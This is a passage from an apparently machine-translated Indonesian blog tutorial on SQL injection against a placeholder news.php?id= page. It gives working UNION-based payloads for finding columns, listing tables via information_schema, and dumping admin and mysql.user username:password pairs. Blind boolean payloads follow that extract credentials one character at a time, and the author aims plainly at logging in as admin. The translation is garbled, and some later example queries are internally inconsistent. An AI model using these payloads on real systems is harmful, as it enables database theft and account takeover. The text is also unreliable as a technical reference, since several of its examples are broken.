"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
atau sesuatu yang mirip, itu artinya vulnarable untuk injeksi sql2). Cari jumlah kolom
Untuk menemukan jumlah kolom kita menggunakan command ORDER BY (menceritakan database yang cara memesan hasilnya). Jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
yang berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
3). Periksa fungsi UNION
Dengan serikat kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
Jika kita melihat beberapa nomor di layar, yaitu 1 atau 2 atau 3 maka UNION bekerja
4). Periksa versi MySQL
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
itu komentar dan sangat penting bagi query kita untuk bekerja dengan baik.mari kita mengatakan bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @ @ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau mirip.
seharusnya terlihat seperti ini
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
Jika Anda mendapatkan error "union + campuran ilegal collations (IMPLISIT + yg dpt dipaksa) ..."
Saya tidak melihat kertas menutupi masalah ini, jadi saya harus menulis
apa yang kita butuhkan adalah mengkonversi () fungsi yaitu
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
atau dengan hex () dan unhex () yaitu
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
dan Anda akan mendapatkan versi MySQL
5). Mendapatkan tabel dan nama kolom
baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- kemudian saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak tabel dan nama kolom dalam banyak kasus.
nama tabel umum adalah: user / s, admin / s, anggota / s ...
nama kolom umum adalah: username, user, usr, user_name, password, pass, passwd, pwd dll ..
yaitu akan
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
kita tahu bahwa meja admin ada ...sekarang untuk memeriksa nama kolom.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
kita mendapatkan nama pengguna ditampilkan di layar, misalnya akan admin, atau superadmin dll ..
sekarang untuk memeriksa apakah ada kolom sandi
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
kita melihat password pada layar di hash atau plain-text, itu tergantung bagaimana database diatur
yaitu md5 hash, mysql hash, sha1 ...
sekarang kita harus menyelesaikan query untuk terlihat bagus
untuk itu kita dapat menggunakan fungsi concat () (itu bergabung string)
yaitu
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Perhatikan bahwa saya meletakkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex untuk usus)
(Ada cara lain untuk itu, char (58), nilai ascii untuk:)
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
sekarang kita mendapatkan username dislayed: password pada layar, yaitu admin: admin atau admin: somehash
ketika Anda memiliki ini, Anda bisa login seperti admin atau superuser beberapa
jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)
memiliki pengguna i kolom password, jadi contoh akan
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan nama tabel dan kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
yaitu
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
di sini kita mengganti nomor 2 kami dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables
ditampilkan pada layar. Sekarang kita harus menambahkan LIMIT di akhir query untuk daftar semua tabel.
yaitu
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
perhatikan bahwa saya meletakkan 0,1 (dapatkan 1 hasil mulai dari 0 yang)
sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
yaitu
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
tabel kedua ditampilkan.
untuk tabel ketiga kami menempatkan batas 2,1
yaitu
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, dll .. auth_userUntuk mendapatkan nama kolom metode adalah sama.
di sini kita menggunakan column_name dan information_schema.columns
Metode ini sama seperti di atas sehingga contoh akan
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
kolom pertama diplayed.
yang kedua (kita mengubah batas 0,1 untuk membatasi 1,1)
yaitu.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
kolom kedua ditampilkan, jadi tetap incrementing sampai Anda mendapatkan sesuatu sepertinama pengguna, pengguna, login, password, pass, dll passwd ..
jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (Mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.
yaitu
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
sekarang kita bisa ditampilkan nama kolom dalam tabel pengguna. Hanya menggunakan LIMIT kita bisa daftar semua kolom dalam tabel pengguna.Catatan bahwa ini tidak akan bekerja jika tanda kutip ajaib ON.
mari kita mengatakan bahwa kita menemukan colums user, pass, dan email.
sekarang untuk menyelesaikan query untuk menempatkan mereka semua bersama-sama
untuk itu kita menggunakan concat (), saya decribe itu sebelumnya.
yaitu
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
apa yang kita dapatkan di sini adalah pengguna: pass: email dari pengguna meja.contoh: admin: hash: whatever@blabla.com
Itu semua dalam bagian ini, sekarang kita bisa melanjutkan pada bagian keras
2. Blind SQL Injection
Injeksi Blind adalah sedikit lebih rumit injeksi klasik tetapi bisa dilakukan
Saya harus menyebutkan, ada sangat baik buta sql injection tutorial oleh xprog, sehingga tidak buruk untuk membacanya
Mari kita mulai dengan hal-hal yang canggih.
Saya akan menggunakan contoh kita
http://www.site.com/news.php?id=5
ketika kita menjalankan ini, kita melihat beberapa halaman dan artikel pada halaman tersebut, gambar dll ..
maka ketika kita ingin menguji untuk serangan injeksi sql buta
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
dan beban halaman normal, itu ok.
sekarang tes yang sesungguhnya
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
jadi jika beberapa text, gambar atau beberapa konten yang hilang pada halaman kembali maka situs yang vulrnable injeksi sql buta.
1) Dapatkan versi MySQL
untuk mendapatkan versi dalam serangan buta kita gunakan substring
yaitu
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
ini harus mengembalikan TRUE jika versi MySQL 4.
ganti 4 dengan 5, dan jika query mengembalikan TRUE maka versi adalah 5.
yaitu
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Tes jika subselect bekerja
ketika pilih tidak bekerja maka kita gunakan subselect
yaitu
http://www.site.com/news.php?id=5 and (select 1)=1
jika beban halaman normal maka subselects kerja.
maka kita akan melihat apakah kita memiliki akses ke mysql.user
yaitu
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
jika beban halaman biasanya kita memiliki akses ke mysql.user dan kemudian kita bisa menarik beberapa load_file sandi usign () fungsi dan OUTFILE.
3). Periksa nama tabel dan kolom
Ini adalah bagian ketika menebak adalah teman terbaik
yaitu
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
maka jika halaman beban normal tanpa isi yang hilang, pengguna meja keluar.
jika Anda mendapatkan FALSE (beberapa artikel yang hilang), hanya mengubah nama tabel sampai Anda menebak yang benar
mari kita mengatakan bahwa kita telah menemukan bahwa nama tabel adalah pengguna, sekarang apa yang kita butuhkan adalah nama kolom.
sama seperti nama tabel, kita mulai menebak. Seperti saya katakan sebelumnya mencoba nama umum untuk kolom.
yaitu
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
jika halaman beban biasanya kita tahu bahwa nama kolom adalah password
(jika kita mendapatkan palsu kemudian mencoba nama umum atau hanya
menebak)di sini kita menggabungkan 1 dengan password kolom, kemudian substring kembali karakter pertama (, 1,1)
4). Tarik data dari database
kami menemukan pengguna meja i kolom username password sehingga kami akan tarik karakter itu.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok ini di sini menarik karakter pertama dari pengguna pertama di tabel pengguna.
substring disini akan mengembalikan karakter pertama dan 1 karakter panjangnya. ascii () mengkonversi bahwa karakter 1 menjadi nilai ascii
dan kemudian membandingkannya dengan simbol yang lebih besar kemudian>.
jadi jika char ascii lebih besar dari 80, beban halaman normal. (BENAR)
kami terus berusaha sampai kita salah.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
kita mendapatkan BENAR, terus incrementing http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
BENAR lagi, lebih tinggi
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
SALAH!jadi karakter pertama dalam username adalah char (99). Menggunakan konverter ascii kita tahu bahwa char (99) adalah huruf 'c'.
kemudian mari kita periksa karakter kedua.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Perhatikan bahwa saya berubah, 1,1 sampai, 2,1 untuk mendapatkan karakter kedua. (Sekarang mengembalikan karakter kedua, 1 karakter di panjang)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, beban halaman normal, lebih tinggi. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
SALAH nomor, lebih rendah. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, lebih tinggi.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
SALAH! kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'. Kami memiliki 'ci' sejauh sehingga tetap incrementing sampai Anda mendapatkan akhir. (Ketika> 0 returns false kita tahu bahwa kita telah mencapai akhir). Ada beberapa alat untuk SQL Injection Blind, saya pikir sqlmap adalah yang terbaik, tapi aku melakukan semuanya secara manual, penyebab yang membuat Anda lebih baik SQL INJECTOR
0 komentar:
Posting Komentar